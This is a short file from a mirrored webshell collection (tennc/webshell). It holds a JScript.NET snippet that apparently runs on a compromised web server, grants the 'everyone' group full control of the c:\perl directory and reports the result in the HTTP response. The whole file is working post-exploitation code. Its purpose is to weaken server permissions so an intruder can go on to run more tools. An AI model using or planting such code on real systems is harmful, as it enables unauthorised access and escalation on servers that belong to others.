mirror of
https://github.com/tennc/webshell
synced 2024-11-26 05:00:18 +00:00
16 lines
1.1 KiB
Text
16 lines
1.1 KiB
Text
try
|
|
{
|
|
|
|
var strPath:String = "c:\\perl", strUser:String = "everyone";
|
|
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);
|
|
|
|
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
|
|
|
|
dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
|
|
System.Security.AccessControl.FileSystemRights.FullControl,
|
|
System.Security.AccessControl.AccessControlType.Allow));
|
|
|
|
dirinfo.SetAccessControl(dirsecurity);
|
|
Response.Write(strPath+"\tok");
|
|
|
|
}catch(x){Response.Write(x.Message);}
|